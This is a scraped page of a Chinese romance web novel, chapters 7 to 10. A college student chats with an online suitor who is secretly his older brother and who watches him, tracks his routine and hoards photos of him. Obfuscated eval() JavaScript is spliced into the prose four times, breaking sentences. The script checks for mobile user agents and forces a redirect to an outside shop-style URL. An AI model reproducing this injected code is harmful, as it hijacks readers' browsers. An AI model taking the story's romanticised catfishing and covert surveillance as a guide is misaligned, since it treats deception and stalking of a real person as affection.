【好认真又一丝不苟的样子!】 【不是贬义!】 【[仓鼠探头.jpg]】 致橡树:【什么……】 闻昭解释:【就是我哥】 【他每句话都结尾都要加句号的】 【你也是】 【所以好奇】 致橡树忽然不发消息了。 闻昭等了一会儿,歪了歪脑袋。 这个问题这么难回答的吗? 还是他触发了什么年龄段的底层代码? 闻昭走出教学楼,扫了辆小黄车,骑去食堂。 打完了饭,才看见手机的未读消息。 致橡树:【昭昭这是嫌我老了T^T】 【[仓鼠大哭.jpg]】 闻昭连忙回复。 【没有没有!】 【刚毕业哪里老啦!】 致橡树:【那二十八岁是不是就算老了T^T】 7. 第 7 章 闻昭认真回复:【28也不算老呀】 致橡树:【那就好^_^】 【[仓鼠比心.jpg]】 相纸什么时候降价:【怎么偷偷用我的表情包!】 致橡树:【因为很可爱】 【像你一样】 这人,发起这种话来,简直信手拈来似的,一点也不害羞。 闻昭脸颊微微发烫,他欲盖弥彰般滑了下屏幕。 忽然顿住,看着发射红色爱心的小仓鼠,愣了愣。 咦,他给橡树哥发过这张表情包吗? 闻昭简单回忆了一下,应该没有。 毕竟就算现在他和致橡树聊天的内容有些暧昧,但闻昭是个很有分寸感的人,没谈恋爱之前,他不会给对方发这种意味不明的爱心。 闻昭还没来得及深思,就被学习通里弹出的作业通知转移了注意力。 大一!好多课! 终于熬到了周五最后一节课,但也不得清闲,而周末又要写作业、听讲座攒综测成绩、还得准备下周的思政课pre。 寝室门被撞开,井星航是他们宿舍的常客了,非常熟悉地霸占了闻昭的椅子,开始给他磕头。 “昭咂、闻咂、妈咪、爹!江湖救急!我才知道高数作业ddl是今晚六点!” 闻昭见怪不该,淡定地把早就扫描的网盘的文件转给他。 “我靠?”井星航瞳孔地震,“这么多?抄都得抄到什么时候啊?” “这下坏了,我社团活动去不了了。”井星航急得团团转。 他把抱着的玩偶服塞进闻昭怀里,双手合十:“昭哥求你了昭哥,救我狗命,帮帮忙!” 闻昭先答应了,问清楚是要穿上玩偶服在社团摆摊的地方做吉祥物,才慢吞吞劝了句:“阿航,下次要提前做作业。” 井星航自然是无不应允。 闻昭抱着玩偶服去操场,一边走,一边给赵危行发了条消息。 相纸什么时候降价:【哥,我这周末不回家了,学校课程有点忙。】 说完,到了摊位,跟学长学姐对接之后,问清楚这个吉祥物的性格,是可爱类型的,心里有数之后,套上玩偶服,向来来往往的同学发传单、互动,给活动预热。 闻昭在吉祥物的壳子里摇摇晃晃,招财猫似的挥手,玩偶duang大一只,呆萌呆萌的,吸引了很多同学的视线。 不少同学想和闻昭合影,闻昭挨个给同学们一个大大的拥抱,蹦蹦跳跳,给足情绪价值。 有罪恶的爪子抓住了玩偶的尾巴。 闻昭愣了一下,连忙去捂,玩偶服的手却短,怎么都够不到。 闻昭团团转。 玩偶也团团转。 尾巴晃晃悠悠。 “妈呀宝宝你是一只松松软软的蓝莓小蛋糕~” “以前怎么没发现动漫社吉祥物这么可爱!” “老大现在加入动漫社还来得及吗?” 周围传来此起彼伏,夹着嗓音的夸夸,闻昭在玩偶里听着,都有些不好意思了。 脸颊开始慢慢涨起一片绯红。 闻昭做什么都很认真,既然答应了帮忙,就负责到底。 直到暮色四合,绛色的霞光在西边天角收束,校园内路灯星星点点,宛如散落云烟的萤火虫,他们才结束了宣传的工作。 闻昭帮着收拾了桌子,拆了帐篷,把玩偶服叠得整整齐齐还回去。 动漫社的学姐塞给闻昭一杯热奶茶,“学弟,这次多亏你帮忙啦,回头一定要狠狠宰小井一顿,这家伙,关键时候靠不住。” 闻昭推脱不过,腼腆着收下。 他这一忙就是三个多小时,闻昭还没吃饭,这会儿胃隐隐有些不舒服。 闻昭单手按在肚子上,他打开手机,有不少未读消息。 闻昭先看置顶,他哥就冷冰冰给他回了一条。 哥:【好,知道了。】 “哼。”闻昭用力跺了一下脚。 他决定今天到睡觉前都不要理他哥了。 他打开另一个聊天框。 致橡树: 15:49 【一会儿没课了吧?】 【上了一天课,要不要休息一会儿?】 【[音乐链接]】 【偶然听到的,觉得你会喜欢,分享给你】 16:25 【在做什么?】 17:20 【昭昭,我有点想你了T^T】 17:30 【别忘记按时吃晚饭,不然胃会难受。】 【啊,不小心又习惯发了句号】 18:16 【昭昭在忙吗?】 【那我等你忙完】 【[仓鼠大哭.jpg]】 闻昭看了眼时间,已经快六点半了。 他平时习惯晚上五点半吃晚饭,在家的时候,他哥也总会准时在这个时间叫他下楼吃饭。 好巧,致橡树竟然也习惯在这个时间吃饭。 闻昭认真地一条一条引用消息,挨个回复。 【是!】 【你怎么知道我没课啦?】 【刚刚在帮同学宣传活动】 【才看到消息】 【这就要去吃饭啦】 【[摊成鼠饼.jpg]】 对方仿佛等在手机前似的,立刻回复。 致橡树:【胃有没有不舒服?】 【我给你点了外卖,跑腿说送到西南门的栏杆那里了,离你宿舍很近】 【[图片]】 咦? 闻昭一时间有点手足无措。 相纸什么时候降价:【[仓鼠大惊失色.jpg]】 【太感谢了】 【不过真的不用!】 【食堂这个点有饭的】 致橡树:【昭昭,我在追你】 【这是追人的手段】 【但更多是我想为你这么做】 致橡树停顿了几秒,似乎是留给他足够的时间消化这几条消息,才接着发。 【不过,你当然可以拒绝,没关系】 【放在那里就好,就当是为校园里的小猫小狗加餐,也不错】 闻昭:! 怎么这样…… 如此直白,但却进退有度。 对方仿佛只是做了份内的事,把主动权交到他手上,给他留足了选择的余地。 闻昭脑袋发晕,心跳得有点快,但这种相处不会让他感到冒犯,反而是一个让他舒适的距离。 橡树哥似乎总会恰到好处地拿捏其中的关窍。 导致闻昭莫名有种罪恶感,就好像他是个负心汉一样。 鬼使神差的,闻昭转了个弯,没去食堂,而是往回走。 闻昭走回宿舍楼下,寻着图片,在栏杆角落发现了用保温盒装的晚饭,拿起来时,还温着,微微冒着热气。 外面的牛皮纸袋没有logo,闻昭不知道是哪家店,也不知道该给致橡树转多少钱。 他拎起袋子,拍了张照片,发过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219184|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【拿到啦,多谢你!】 【[仓鼠叼来花花.jpg]】 致橡树:【好】 【吃饭前记得喝点温水】 闻昭一愣。 他怎么这么了解自己的生活习惯? 莫名的,闻昭忽然有种很强烈的既视感。 橡树哥好像很了解他。 知道他胃不好,一日三餐必须得按时吃,知道他哪节课没课,还知道他的宿舍楼号。 相处中的细致和熨帖,让闻昭轻易放下了戒心。 相纸什么时候降价:【不过你怎么知道我住在哪栋呀】 【你该不会偷偷问阿航了吧!】 【[仓鼠偷看.jpg]】 栏杆外,一条马路之隔的街角,停着一辆黑色轿车,在路灯阑珊的光影下,融进夜幕里。 如果是白天,闻昭就会看清,那是他哥的车。 赵危行坐在驾驶座,按下车窗,遥遥地,隔着来往车流,偶尔有浅浅的光落在面颊上,洇进半框眼镜黑色的条纹中,一闪而逝。 他看着闻昭被笼罩在朦朦胧胧的路灯下,探出脑袋,从栏杆旁边拿到牛皮纸袋装的保温盒。 昭昭头发蓬蓬的,有点炸毛,发梢被压得翘起一点边边,可爱得要命。 昭昭眼睛明显瞪大了一点。 路灯的暖光温柔地簇拥着少年,给白瓷般的皮肤覆上一层釉般,似是应该被捧在掌心的至宝。 闻昭举起了手机,应该是在拍照片。 下一秒,赵危行的微信就弹出了消息。 他给昭昭备注了私心的称呼。 宝宝:【[图片]】 【拿到啦,多谢你!】 好可爱。 赵危行唇角不自觉勾起一丝笑意。 【不过你怎么知道我住在哪栋呀】 笑容消失。 【你该不会偷偷问阿航了吧!】 赵危行无奈轻笑。 这小脑袋瓜,怎么自己把逻辑补全了。 他不动声色回复。 致橡树:【被你发现了】 —— 闻昭拎着饭回到宿舍,也没看见橡树哥的消息。 想来应该是橡树哥提前问过井星航了?但不好意思承认? 闻昭没多想,他打开保温盒,饭菜的香气扑面而来。 玉米排骨、西兰花炒虾仁、番茄滑蛋牛肉。 品类很多,但量不算大,刚好是闻昭平时的饭量。 还有一碗额外装的小米粥,一杯洗干净的蓝莓,挂着晶莹的水珠。 都是他爱吃的。 舍友刚好抱着洗衣盆路过,“卧槽,好香。” “昭,我刚吃完饭,你就给我整饿了。” “你点的外卖吗?大人,赏小的一口吧!如果能尝到这块肉我死而无憾。” 闻昭赶紧给他拨了一点。 舍友刚刚眼睛都在冒绿光了,他都怕对方啃他一口。 舍友狼吞虎咽,吃完又做了个极其浮夸的空中投篮。 “哪家的外卖啊!昭!推荐给我!我宣布我这个学期将永远宠幸这家餐馆,什么破食堂,见鬼去吧!” 舍友疯狂摇晃闻昭的肩膀。 闻昭摇摇头:“不知道,是……” 闻昭顿了顿,“是朋友点的,我问问他。” 【橡树哥!】 【这是哪家的外卖呀】 【我舍友说好吃,他以后也想点】 致橡树秒回。 【你给你舍友吃了?】 8. 第 8 章 闻昭莫名从简单的几个字中,看出了深深的幽怨。 相纸什么时候降价:【你误会啦橡树哥】 【只分给舍友了一口】 【我正要吃呢】 闻昭拍了张图片证明,拿出餐盒里装的筷子,夹了一块松软金黄的蛋炒饭。 眼睛一瞬间亮了。 好香! 在学校食堂吃了一周的泔水,眼前这一盒氤氲着腾腾热气的简餐,简直就是云端来的救赎。 闻昭一边按习惯,慢慢咀嚼,一边发消息。 【!!!】 【真的好好吃啊】 【[仓鼠幸福.jpg]】 【拜托了橡树哥】 【我也想知道这是哪家的外卖T^T】 【求求】 【恳求】 【[仓鼠合爪.jpg]】 闻昭觉得这份饭可以排到第二好吃。 第一好吃是他哥做的饭,私心作祟,断崖式第一,不接受反驳。 就算这份外卖的味道几乎和他哥做的饭一模一样,也不行。 致橡树:【昭昭喜欢就好】 【是一家私厨,现在不对外营业了】 【我有他家老板的联系方式】 【外卖软件上订不到】 【昭昭下次想吃跟我说,我来点就好】 这样啊…… 闻昭很遗憾地告知舍友这个绝望的消息。 舍友衣服也不洗了,把自己往床上一扔,像是死了。 相纸什么时候降价:【这样我总会感觉你别有目的![盯.jpg]】 聊过几天,闻昭现在偶尔也会跟对方发点玩笑话。 致橡树:【说点我不知道的】 【本来就在追求你^^】 闻昭抿了抿唇。 【可我还没答应,你就对我这么好……】 致橡树:【等你答应了我再对你好,那叫不劳而获】 【那叫白嫖,哪有这种事】 相纸什么时候降价:【好吧,谢谢你哦】 【[仓鼠叼来花花.jpg]】 致橡树:【昭昭,自信些,你本就值得】 闻昭往上翻,点开橡树哥分享的音乐链接,戴上耳机,一边听音乐,一边慢慢吃晚饭。 是很有故事感的曲子,有种街头巷尾流年缓缓、处处是人间的生活气息。 刚巧,前段时间赵危行陪他出门扫街,他拍的一组照片,因为一直没有灵感,还没整理调色。 今天听到橡树哥给他分享的这首音乐,闻昭脑子里一下就涌入了很多思路。 吃完饭,闻昭立刻拿出读卡器和sd卡,开始导照片。 raw格式的照片很灰,闻昭本来没有调色思路,但耳机里放着这首歌却给了他灵感,他一边轻声哼着小调,一边操作,行云流水般修出了层次丰富的故事。 公园里抱着气球的小孩子、海边长椅上彼此依偎的情侣、被街溜子梅花鹿抢走水果的车主,还有穿着放肆不羁汗衫的烧烤店老板,共同构成了滨城夏日傍晚的梦。 闻昭叉着腰欣赏,他心情好的时候,一双圆润的杏眼会弯成月牙的形状,嘴角也跟着上扬,像w型的小猫嘴巴。 橡树哥怎么能这么好呀,灵感送的恰到好处。 闻昭怎么看他的照片怎么满意,打开手机,分享这个好消息。 相纸什么时候降价:【橡树哥!】 【音乐很好听!】(引用消息) 【给了我修照片的灵感】 【压了快半个月的照片终于生了!】 致橡树:【昭昭好厉害】 【这会儿还应该配一个“骄傲”,或者仓鼠叉腰的表情包】 闻昭被橡树哥这句话逗笑。 他勾着嘴角,从自己1001张表情包里翻出这张。 【[仓鼠叉腰.jpg]】 闻昭正在兴奋劲儿上,他把自己修完的照片精心挑出几张,发了过去,一副期待夸奖的模样,双眼亮晶晶盯着屏幕看。 致橡树:【好美,像黄昏在呼吸】 【昭昭观察的好细腻】 【[揉揉仓鼠脑袋.jpg]】 嘿嘿…… 橡树哥怎么这么会夸夸呀…… 而且那张表情包发来,总感觉像是对方真的在揉他的脑袋一样。 闻昭把脑袋埋进手掌里,揉了揉发烫的脸颊。 那句“呼吸”,简直说到闻昭的心坎里去了。 他扫街时经常抓拍远远的行人背影,如果会拍到脸,闻昭会先询问对方,在得到肯定的答复后,才会抓拍他们此刻的闲趣。 他还习惯带着便携式的照片打印机,会把拍出的照片打印下来,送给镜头里的“模特”。 闻昭喜欢和背景融为一体的照片。 景物只是景物,而有了人,照片似乎就有了温度,静止的时间因此流淌起来,诉说当时的故事。 当然,不是说只拍景物的摄影师不好,审美没有高下之分,只是个人偏好。 而致橡树的评价,恰到好处。 跟他拍照片时陷入的那种“心流”状态简直一模一样。 致橡树:【相机沉吗】 【拿着走这么多路累不累】 当然累! 长焦镜头跟大炮似的,都省得健身举铁了! 但闻昭怎么可能承认,他哼哼两声。 相纸什么时候降价:【鼠,强壮,有肌肉】 致橡树:【真的吗?】 【不信,除非给我看】 闻昭放下手机,把衬衫袖子一路卷到肩膀。 少年皮肤白得发光,手臂匀称,生的漂亮,一点赘肉都没有。 当然,肌肉也没多少。 闻昭不信邪地皱着眉,用力攥紧拳头,大臂微微隆起一小块肌肉,小山包似的,弯成一道流畅的弧。 闻昭:“……” 【没有肌肉T^T】 他也被橡树哥传染,聊天的时候,开始用对方常用的颜文字,而橡树哥偷起他的仓鼠表情包,也愈发熟练顺手。 和橡树哥聊天很令人放松,闻昭坐在桌前,抱着手机,不自觉就聊了一整晚,几乎忘记了时间。 中途井星航来他们宿舍蹭吃蹭喝,闻昭正沉迷聊天,没注意到井星航进屋。 手机屏幕没来得及遮掩,正正好好被对方看到了聊天的界面。 “哦呦~” 井星航看见熟悉的头像和id昵称,暧昧地朝着闻昭挤眉弄眼。 “聊着呢昭砸?” 闻昭脸颊一热,做贼心虚似的,把手机一扣,踩着梯子上床,把床帘拉严实,才接着聊天。 还是橡树哥提醒他要到睡觉的时间,闻昭才意犹未尽地放下手机去洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219185|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漱。 发梢还滴着水,闻昭随手擦干,然后一点点把自己卷到了床上,脑袋埋进被子里,抱着手机。 致橡树:【上床了?】 致橡树连他洗漱的时间都预估的很准,掐点儿等他似的。 相纸什么时候降价:【嗯呢!】 致橡树:【昭昭今天宣传的是什么活动】 【我这种校外人士也想去凑热闹】 【[图穷现匕.jpg]】 闻昭问他为什么。 致橡树:【因为想看你组织活动时闪闪发光的样子】 【一定很可爱】 相纸什么时候降价:【不是我参与组织的啦】 【是阿航参加的社团】 【他今天临时有事儿】 【我去帮忙扮演一下吉祥物】 闻昭没把井星航因为赶ddl而没空宣传的事告诉他小叔。 很有义气。 致橡树:【要穿玩偶服那种的吗?】 【好奇】 闻昭想了一下,他点开井星航的聊天框。 井星航两个小时前给他发过活动宣传的返图,还有公众号推送,但闻昭那时沉浸在和橡树哥的聊天中,忘记回他了。 返图是大合照,和动漫社的同学收工前拍的。 图片里,闻昭身上还穿着玩偶服,但脑袋已经摘了下来。 闻昭就把这条学院推送转发给了橡树哥。 【看这个】 赵危行此时刚洗完澡,走回卧室。 靠床的那面墙上,满墙的照片在白炽灯光下正反光。 赵危行慵懒地披上浴袍,正擦着头发,水珠从额前的发丝滴落,在高挺的鼻梁上一滚,沿着分明的腹肌向下淌,洇湿进布料。 赵危行看见手机屏幕亮了一下,他戴上眼镜,单手拿起手机。 下一秒,呼吸一滞。 昭昭给他发了条推送,是介绍活动的,赵危行点开,一眼便精准锁定了那个身着玩偶服的少年。 照片里,少年正面对镜头,笑意盎然,纯粹、明媚,漂亮得晃眼。 许是因为闷在玩偶服的头套里久了,昭昭额角蒙着一层微微的汗。 脸颊连着鼻尖漫开一片绯红,从那薄薄一层的皮肤下透出来,白瓷里的霞似的,耳垂上的热度蒸腾,连带着眼角也染上了潮湿的暖粉色。 那颗小痣,缀在弯弯的眼下,明晃晃勾人。 而少年自己却没察觉,只晕乎乎盯着镜头笑,像微醺醉酒的模样,惹人怜爱。 赵危行缓缓呼出一口燥热的气。 他点开图片,两指落在屏幕上,放大。 然后把周围的人都截去,只留闻昭一个。 保存,收藏,加密相册。 动作娴熟流畅。 赵危行用蓝牙连接上家里的照片打印机,放好相纸。 打印机缓缓运转,细微的声音在安静的家中显得格外明显。 一张照片被缓缓吐了出来。 修长的、骨节分明的手指拾起照片。 照片还温着。 穿着玩偶服的昭昭,他从没见过的昭昭。 可爱的要命。 脸蛋红扑扑的,想亲。 赵危行把这张照片也贴到他卧室的墙上,站在床边,静静盯了很久。 然后转头进了浴室。 白洗澡了。 9. 第 9 章 日子在校园里总是流淌得很慢,随着傍晚鎏金的霞光一起渐渐飘散在天边。 十一月的时候,空气凉了不少,天空显得高远、瘦长,几缕浅淡的云下,层林尽染,落了满地金黄。 闻昭穿着卫衣外套,整个人显得毛绒绒的。 他单手拎着相机,站在理工大金秋银杏打卡的临时封闭道路旁,对准卧在松软落叶丛中小憩的橘猫拍照。 机械快门很轻巧,咔嚓一声,半挂小卡车咪呜一声把眼睛睁开一条缝,看看闻昭,轻轻甩下尾巴,又闭上眼睛。 闻昭又用手机拍了一张,发给橡树哥。 致橡树秒回。 【很可爱】 【但你在拍天敌,要小心】 闻昭愣了一下,才反应过来橡树哥在说什么。 这人,最近总爱一本正经地将他仓鼠塑,却并不油腻,很有分寸,是让闻昭感觉很舒服的相处模式。 闻昭鼓了鼓脸颊,戳开手机,愤愤挑选表情包。 【[仓鼠击穿地球.jpg]】 发完,又不自觉想多和对方聊会儿。 但闻昭的性子不是主动找话题的人,他蹲在小猫旁边,很随意地坐在一地银杏叶中,倚着树干,轻挠小猫下巴,听着呼噜呼噜的声音。 [拍了拍“致橡树”] 致橡树:【嗯?怎么了】 相纸什么时候降价:【我不知道该发什么】 【但是想和你多说几句话】 致橡树:【想我了?】 闻昭:“……” 被戳中了心思,闻昭把脸颊埋进衣袖里,手指戳着屏幕。 【你这样有点暧昧了】 致橡树:【昭昭对我发这种话,就不暧昧了吗】(引用消息) 【我很喜欢】 引用的是那句想和你多说几句话。 闻昭这下连耳根都在发热了。 这人、这人在明晃晃调情! 他连忙转移话题。 【你在上班摸鱼呀】 【在申城工作压力是不是超级大】 致橡树:【是】 【好累】 【[摊成鼠饼.jpg]】 【昭昭哄哄我吧】 闻昭耳边是簌簌风声,吹鼓落叶,窸窣作响,而他心脏轻微的嗡鸣,在此时也融入落叶声中。 扑通。 清浅、却格外清晰。 闻昭脑子微微发热,他发出消息。 【那,给你捏捏肩膀~】 发完,闻昭甚至不敢看屏幕,把整张脸都埋进手掌。 此刻,赵危行正坐在公司办公室里,看到电脑微信上弹出的消息,不自觉弯起嘴角。 下一秒,忽地想起什么,脸上的笑瞬间消失了。 电脑分屏上,两个微信号。 在致橡树的聊天框里,他看见了一个情窦初开的、懵懂笨拙着展露情绪的昭昭。 然而属于他本人的微信里,昭昭已经好几天没跟他叽叽喳喳地分享学校里有趣的事了。 只剩下十几年来约定俗成的早安晚安,亲人似的,早安晚安。 似乎是真的独立,不再总黏着他,逐渐淡去曾经追逐在他屁股后面的小孩儿的模样。 明明是赵危行自己的选择,他一手造成的局面,他活该,但这一刻,他还是要嫉妒得疯了。 凭什么昭昭要给别人捏肩膀,凭什么昭昭要向别人撒娇,凭什么昭昭会和除了他以外的其他人保持这种亲密的联系??? 醋意如野草般在心底暗自滋长,又有隐秘的庆幸夹杂其中,揉杂成镜片后格外深沉的眸光,却在办公室门被敲响的那一刻,瞬间收束。 “赵总,有文件要签字。” 赵危行推了下眼镜,声音冷静平淡:“进。” 落在鼠标上的手指轻点,赵危行改掉了这个碍眼的、属于别人的微信头像和昵称。 把头像换成金丝鼠,昵称只单单一个z。 —— 学期过半,数字系统这门课讲得越来越深。 闻昭上课有点没听懂的地方,下课后,同学们忙着去食堂抢饭,他没急着走,拿着笔记本去讲台边,向老师请教问题。 讨论了十多分钟,闻昭恍然大悟,知道自己卡在哪里了。 耽误老师下班时间,闻昭有些不好意思,他从书包夹层里拿了两块巧克力,递给老师。 “刘老师,开学以来打扰您啦!” 刘瑞利三十五六岁,在教授中算年轻的,没什么架子,闻昭总问他知识点,让他也很有成就感,他很喜欢善于主动思考的孩子。 他笑呵呵地接过巧克力,“闻昭同学,我有两个学生正在准备蓝桥杯,还缺一个人,不知道你愿不愿意参加?” “蓝桥杯磨合一下,顺利的话,明年你们三个可以一起参加acm。” 闻昭双眼微微睁大:“我吗?老师,我还什么都不会呢,万一拖学长学姐的后腿了……” 刘瑞利摇头笑:“嗐,别妄自菲薄,老师看了你前几天交上来的作业,写得很漂亮嘛,相信你的潜力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219186|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 闻昭攥紧了手指,掌心微微发汗。 这种竞赛,除了功利要拿名次之外,其实对他也是一种锻炼,更别提,这次是刘老师的邀请,他有机会能向优秀的学长学姐学习。 思及此,闻昭深吸一口气,鼓起勇气,坚定地点了点头。 参加了竞赛,闻昭的课余生活忙碌了起来。 他刚上大一,专业知识比学长学姐有很多欠缺,如果要跟上进度,需要自学不少。 闻昭去图书馆借了专业课的书,又在b站上搜索经典教学视频,跟着一点点硬啃。 脑子里涌入大量知识点,就算闻昭再怎么聪明,一时间也有些吃不消。 上一次跟刘老师和学长学姐开会讨论时,他有太多东西听不懂,闻昭又很要强,虽然老师试不试停下来跟他慢慢解释,但他不愿意耽搁学长学姐的时间。 就只能私下里多学点。 他再也顾不上思考他哥的态度,就算周末回家,也是立刻把自己闷在房间里啃知识点,跟橡树哥聊天的时间也被代码挤占。 晚上十一点,宿舍断电,闻昭把电脑调成节电模式,降低亮度,敲键盘的力道也轻下来。 不能影响室友休息。 电脑屏幕的光幽幽闪烁,满屏红光报错,微微映亮闻昭的脸颊,额前碎发乱蓬蓬的,被闻昭用发夹撩起。 少年原本明亮的双眼下,挂着一片乌青的弧度。 这段时间为了赶上进度,闻昭将睡眠时间一拖再拖,连续好几天凌晨一两点才睡。 和之前的作息相差太多,闻昭的状态和心态都不是很好。 而明天又是组会讨论,他还没搞明白上次代码的问题。 这会儿看着满屏的报错,闻昭觉得太阳穴微微刺痛,他郁闷地闭了闭眼。 焦虑、烦躁,还有深深的压力,脸颊的婴儿肥都消减了许多。 心里又乱又闷,电脑的光晃着眼,代码编程一团扭曲的虫,四处爬,让闻昭无法集中注意力。 闻昭看着教材的讲解,也总感觉自己的脑子浮在表面,怎么也学不进去。 闻昭想以头抢地,一头往桌面上撞,却怕吵醒舍友,软绵绵地把额头搁在桌上。 他翻出手机,设置了个“疲惫”的微信状态。 一个小人仰面瘫倒在椅子上。 闻昭也跟着叹气。 刚设置了没多久,忽然出现一条消息。 z:【遇到什么事了】 【捏捏肩膀】 【[仓鼠担忧.jpg]】 10. 第 10 章 闻昭眼皮沉重,太阳穴一股一股作痛。 看到消息,一时没反应过来对方是谁,愣了片刻,才想起这个金丝鼠头像的z,是橡树哥改了名。 闻昭之前问他z是什么意思。 对方说,是昭昭的昭,问他,把头像改成昭昭喜欢的金丝鼠,昭昭会不会在聊天时对他产生移情,因而更喜欢他一些。 当时这番话又把闻昭弄得面红耳赤,好半天都没回过神来。 不过,现在凌晨一点,z竟然还没睡吗? 闻昭把脸在键盘上滚了一圈,拍拍脑门,试图赶走瞌睡。 相纸什么时候降价:【在跟代码死磕呢】 【[鼠了.jpg]】 z:【明天上课要用到的吗?】 相纸什么时候降价:【没】 【是上次和你说的竞赛】 z:【不急的话,先睡觉吧】 【休息好了效率会更高些】 闻昭知道,道理是这个道理。 【但是明天要开组会】 【我上周的遗留问题还没搞明白呢】 【不想脑子空空去开会】 【[生活粘鼠板.jpg]】 z那边沉默了一会儿。 闻昭刚准备关掉手机,用脑门和键盘来一场酣畅淋漓的较量,就看见了新消息。 z:【如果方便的话】 【发给我,我看看】 闻昭这才想起,橡树哥本科是学计算机的,现在正在互联网公司敲代码,和软件工程也算是文脉相通。 但是,这是他自己的难题,还是不要麻烦别人为好? 可对方仿佛是知道他的心思似的,下一句话紧接着就发过来。 z:【要学会合理利用周围的资源】 【昭昭用用我吧】 【[仓鼠合爪.jpg]】 闻昭被逗乐,扑哧一声轻轻笑出来。 困意似乎也没那么难捱了。 闻昭把代码截屏,理了一下现在的思路和bug,发给橡树哥。 z:【我看看】 【等我五分钟,你现在闭上眼睛休息一会儿,乖】 不知为何,闻昭看见消息,原本心中郁结的焦虑瞬间散了,莫名安心起来。 幸亏没给哥哥发消息,不然他哥一定会强势地让他放下手头的活儿,先去睡觉。 橡树哥却会尊重他的选择,不把他当小孩儿。 他松了口气,紧绷的身子也跟着放松下来,向椅背上仰去,听话地闭上眼睛,用指节按揉酸胀的太阳穴。 家里,赵危行看见满屏红光,和密密麻麻像蚂蚁一样的符号,不禁微微蹙眉。 他本科专业是计算机辅修金融,在创业前期技术出身,但这都毕业六年多了,他现在更多的是review架构、把关技术决策、分析合作,而不是天天写业务逻辑和做CRUD。 竞赛和产品是两种方向。 赵危行:“……” 专业知识模糊地在他的大脑皮层上流淌。 他有些牙痛,轻轻嘶了一声,点开那张截图。 好在,这张图里的问题不算难,赵危行只是有些手生,语法细节记不太清,但计算机语言的逻辑思维是不变的。 五分钟后,闻昭满怀期待睁开眼睛。 z:【[图片]】 【昭昭你看这里,变量好像和前面不符】 z:【还有这个边界值,设置的是不是差了点?】 【你先看看能不能自己修改】 【不会的再问我】 闻昭瞬间聚精会神地看向屏幕。 果然! 他当时就觉得这部分代码很别扭。 闻昭尝试着着手修改。 深吸一口气,点击运行! 在满屏红光的报错中,代码磕磕绊绊地跑了起来。 一个bug是bug,改过后的一堆bug能work。 闻昭:“……” 代码以一种诡异的方式跑起来了,但数不对。 不知不觉就熬到了两点多,闻昭又困又饿,心里刚鼓起来的劲儿也被磨没了。 他咬住嘴唇,眼眶逐渐蓄满泪,视线也跟着模糊地晃荡,代码在眼睛里碎成一片汪洋。 失败了一个多星期,闻昭委屈极了,他不想这次开组会还是一头雾水,像个需要照顾的傻子。 寂静的夜里,传来舍友睡梦中一声鼾。 这一瞬,忽然就泄了气。 啪嗒。 模糊的时限骤然清晰一瞬,又糊上泪,泪滴落在手机屏幕上,缓缓向下滑,金丝鼠的头像被泪珠放大。 夜深人静,电脑轻微的风扇声在闻昭耳边形成一片微不可察地白噪音。 在这一刻,闻昭忽然有了额外的倾诉欲。 相纸什么时候降价:【还是错的……】 【[仓鼠委屈.jpg]】 【我是不是不该答应老师参加这个比赛啊(┯_┯)】 聊天窗口上立刻出现了对方正在输入中…… z:【别急】 【[揉揉仓鼠头.jpg]】 【我看看你新的代码】 闻昭呆了,他用手背抹去眼泪。 相纸什么时候降价:【你、你还没睡啊】 z:【想等你一起睡】 【不然不安心】 他本来以为橡树哥睡着了,就想趁着对方不注意偷偷抱怨几句,却没想到,橡树哥一直没睡,守在电脑前等他。 闻昭心里涌起一股暖意,他把截图发过去。 z:【昭昭好厉害,一点就通】 【这不是改的好多了嘛】 【很有天赋】 【不要妄自菲薄】 闻昭又呆住。 就、就硬夸吗? 他也没跑对啊。 z:【学过算法设计与分析了吗】 相纸什么时候降价:【还没有,是大二的课】 z:【那就不要伤心】 【不是你的问题】 【是学校还没教呢】 【自学研究到这种程度】 【昭昭很厉害】 看着z的消息,闻昭这段时间和学长学姐在一起研究代码时那种茫然的落差感渐渐消散了。 橡树哥语气很轻,但很稳,让闻昭在这一瞬间觉得,似乎代码和答案都没那么重要了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 